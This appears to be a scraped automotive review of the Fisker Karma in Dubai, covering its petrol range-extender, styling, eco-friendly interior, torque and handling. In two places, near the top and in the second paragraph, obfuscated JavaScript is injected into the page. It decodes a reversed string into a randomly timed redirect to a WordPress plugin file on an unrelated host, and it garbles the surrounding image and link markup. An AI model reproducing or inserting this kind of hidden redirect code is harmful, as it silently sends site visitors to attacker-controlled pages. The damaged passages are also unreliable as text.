We drive the Fisker Karma – an electric-vehicle powered by a 2.0-litre 206bhp turbo-charged four-cylinder petrol engine and two 150kW liquid-cooled electric motors – in Dubai, UAE.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/fisker-karma-dubai-uae-004.jpg” alt=”” width=”728″ height=”546″ />
So, it’s an electric vehicle with a petrol engine but it’s not a hybrid?
Yep, that’s about the size of it. Let me explain. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/fisker-karma-dubai-uae-better-the-ever-you-know/” target=”_blank”>The first vehicle from Fisker– the California-based purveyor of environmentally-friendly luxury cars – is powered by two 150kW liquid-cooled electric motors (charged by a 180kW lithium-ion battery pack) that sends power directly to the rear wheels. The powertrain also incorporates a 2.0-litre 206bhp turbo-charged four-cylinder petrol engine for a combined total of 403bhp.
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The petrol engine itself though never directly drives the rear wheels, and instead sends power through to the electric motors when the battery life is exhausted. Consequently, the Karma is an Electric Vehicle with Extended Range, or a snappily titled EV-er. Distinction is clearly the name of the game.
There’s an aggression at the front that takes some getting used to, but there’s also a certain charm to the sleek, elongated headlights, moustachioed front grilles and undulating bonnet ripples. Similarly the 22-inch Circuit Blade alloys and the rolling lines across the arches and door panels gives the Karma an impression of speed in a mighty attractive package. Probably my favourite part though is the back, the delicacy and elegance of which seems to have been ripped straight from an Alfa Romeo playbook.
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Inside, the styling is similarly grandiose yet menacing. The 180kW battery pack has been mounted longitudinally underneath the cabin-long armrest. It’s a style that, if you’re in the back, is not massively practical (and given the lowline roof, head and legroom is pretty much non-existent) but provides good weight distribution alongside the Karma’s low centre of gravity.
In-keeping with the theme of environmental friendliness – you didn’t think the solar panel on the roof was just for show now did you? – we find unvarnished wood trim taken only from already felled trees, and animal-free leather grain as part of the EcoStandard upholstery. There are also some modern twists to conventional automotive designs, such as the centrally-mounted pyramid drive selector and Open buttons rather than door handles.
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This modernity carries through to the drive too. Pulling away from standstill, you are met, if you’re listening hard enough, with a semi-high-pitched whir as the electric motors start their work: it’s a noise akin to a stealth fighter just about to take off. You’ll get the full benefits of this when you’re in electric Stealth power rather than the slightly more dynamic Sport mode. Swapping between the two is done using silver paddles mounted on the steering wheel, where you would normally find a paddle shift gearbox. Rest assured, you will make the mistake of trying to change gear whenever you’re feeling a bit racey.
The Karma does have two fairly prominent aces up its silver sleeves, starting with the staggering 959lb ft of torque. So much as tap the right pedal in Stealth mode, and it’s difficult to stop the back of your skull hitting the headrest.
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Then of course there’s the handling. Still in Stealth mode (I can’t get enough of that jet fighter soundtrack), there’s an astonishing amount of grip in the Karma. Continue feeding the power through ever-tightening corners and you’ll experience only a hint of lean and little (if any) give from the performance Goodyears. Little else with an electric motor corners like this without rails.
Of course dynamic driving comes at a cost. The battery life lasts all of 80km, and without hybrid technology on-board to recharge, that’s all she wrote for full Stealth mode until you plug the Karma in to charge at night. If you wrack up the clicks during the week, you’ll spend a lot of time in Sport mode. But those of you now fearful that your evenings will be spent powerless by the side of the highway with the hazards blinking can rest easy, since the 2.0-litre petrol engine will continue to power the electric motors when juice in the batteries is gone.
